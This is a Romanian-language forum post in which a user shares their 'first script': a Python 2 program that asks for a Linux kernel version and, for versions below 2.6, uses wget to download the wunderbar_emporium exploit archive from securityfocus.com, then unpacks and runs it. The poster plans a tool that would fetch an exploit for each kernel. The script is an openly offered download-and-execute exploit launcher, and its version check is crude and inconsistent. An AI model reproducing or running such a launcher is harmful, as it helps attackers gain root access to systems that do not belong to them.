Jump to content
veri-tas

Primul ... script

Recommended Posts

Posted

cam lame.... da mno :)

#!/usr/bin/python

import time

import os

print "Enter the kernel version like : 2.4 , 2.6"

null = "The kernel is not vulnerable"

x = float(raw_input("Kernel version?:"))

time.sleep(3)

if x > 2.6:

print null

else:

print "The Kernel is vulnerable"

os.system('uname -a')

time.sleep(3)

if x < 2.6:

os.system('wget http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz;tar zxvf wunderbar_emporium-3.tgz;cd wunderbar_emporium;sh wunderbar_emporium.sh')

else:

print "Will now exit"

ma gandeam sa fac unul tot de genul.... care sa downloadeze fiecare exploit pentru fiecare kernel ... da mai e mult pana acolo :)

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...